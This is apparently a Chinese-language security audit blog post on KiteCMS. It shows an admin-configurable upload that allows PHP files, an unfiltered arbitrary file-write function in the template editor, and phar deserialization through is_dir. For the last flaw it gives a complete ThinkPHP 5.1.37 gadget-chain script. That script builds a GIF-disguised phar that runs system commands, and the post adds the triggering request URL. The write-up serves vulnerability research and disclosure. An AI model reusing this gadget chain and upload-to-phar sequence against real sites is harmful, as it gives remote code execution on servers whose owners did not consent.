文件上传

随便注册一个用户

image-20230311113230275

看看avatar

application/memer/controller/Member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 头像设置
public function avatar()
{
// 获取表单上传文件
$file = Request::file('file');

$uploadObj = new UploadFile($this->site_id);
$ret = $uploadObj->upload($file);

// 修改图片路径
$memberObj = new AuthUser;
$member = $memberObj->where('uid', $this->uid)->find();
$member->avatar = $ret['url'];
$member->save();

if ($ret) {
return $this->response(200, '上传成功', $ret);
} else {
return $this->response(201, $uploadObj->getError());
}
}

$ret = $uploadObj->upload($file);

1
2
3
4
5
6
7
8
9
10
11
12
public function upload($file, $fileType = 'image')
{
// 验证文件类型及大小
switch ($fileType)
{
case 'image':
$result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]);
if(empty($result)){
// 上传失败获取错误信息
$this->error = $file->getError();
return false;
}

check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]);查一下原來是数据库配置的

image-20230311124517819

那么登陆后台稍作修改即可上传php

拿下.jpg

image-20230311125104827

任意文件修改

admin/controller/Template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public function fileedit()
{
if (Request::isAjax()) {
$request = Request::param();
$encode = mb_detect_encoding($request['html'], array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
$request['path'] = base64_decode($request['path']);
if ($encode != 'UTF-8') {
$request['html'] = iconv($encode, 'UTF-8', $request['html']);
}

if (file_exists($request['path'])) {
if (is_writable($request['path'])) {
$html = file_put_contents($request['path'], htmlspecialchars_decode($request['html']));
} else {
throw new HttpException(404, 'File not readabled');
}
} else {
throw new HttpException(404, 'This is not file');
}

if ($html) {
return $this->response(200, Lang::get('Success'));
} else {
return $this->response(201, Lang::get('Fail'));
}
}

$request = Request::param('path');
$path = base64_decode($request);
if (file_exists($path)) {
if (is_readable($path)) {
$html = file_get_contents($path);
} else {
throw new HttpException(404, 'File not readabled');
}
} else {
throw new HttpException(404, 'This is not file');
}
$data = [
'html' => htmlspecialchars($html),
'path' => $request,
'name' => base64_decode(Request::param('name')),
];

return $this->fetch('fileedit', $data);
}
}

真的没有一点过滤呀….

1
$html = file_put_contents($request['path'], htmlspecialchars_decode($request['html']));

后台修改文件抓包即可实现任意文修改了

1
2
if (is_writable($request['path'])) {
$html = file_put_contents($request['path'], htmlspecialchars_decode($request['html']));

image-20230311130511717

反序列化

还是这里

admin/controller/Admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    /**
* 扫描目录中的文件
* @params $dir string 目录 传参点在这~~~
* @return array
*/
public function scanFilesForTree($dir)
{
$files = [];
if (is_dir($dir)) {
if($handle = opendir($dir)) {
while(($file = readdir($handle)) !== false) {
if($file != "." && $file != "..") {
if (is_dir($dir . DIRECTORY_SEPARATOR . $file)) {
$files[$file] = $this->scanFilesForTree($dir . DIRECTORY_SEPARATOR . $file);
}
else {
$files[] = $dir . DIRECTORY_SEPARATOR . $file;
}
}
}
closedir($handle);
}
}

return $files;
}

利用is_dir反序列化

tp5.1.37随便找个链子打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use Phar;
use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;

$a = new Windows();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

1
http://www.kitecms.com/admin/admin/scanFilesForTree?dir=phar://./upload/20230311/7886acc0edf63b935d02d83c0137173b.png